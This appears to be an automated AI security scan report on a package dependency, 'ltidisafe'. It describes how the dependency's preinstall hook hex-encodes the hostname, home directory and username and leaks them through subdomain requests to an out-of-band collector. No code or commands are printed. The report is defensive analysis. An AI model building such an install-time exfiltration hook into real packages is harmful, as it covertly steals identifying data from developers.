AI Security Review

scanned 4d ago · by lpm-firewall-ai

The dependency's automatic preinstall hook collects and transmits identifying machine data to an unrelated OAST collector without an effective consent guard. This is concrete installation-time data exfiltration.

Static reason

One or more suspicious static signals were detected.

Trigger

Installation of the ltidisafe dependency.

Impact

Machine and user identifiers are disclosed to the remote collector without installer consent.

Mechanism

The hook hex-encodes the hostname, home directory, and username, then sends requests containing each value in the subdomain.

Attack narrative

Installing the package installs ltidisafe, whose preinstall hook runs a script that hex-encodes the machine hostname, home directory, and username. The script sends requests carrying those values in subdomains of an OAST collector, disclosing identifiers automatically during installation.
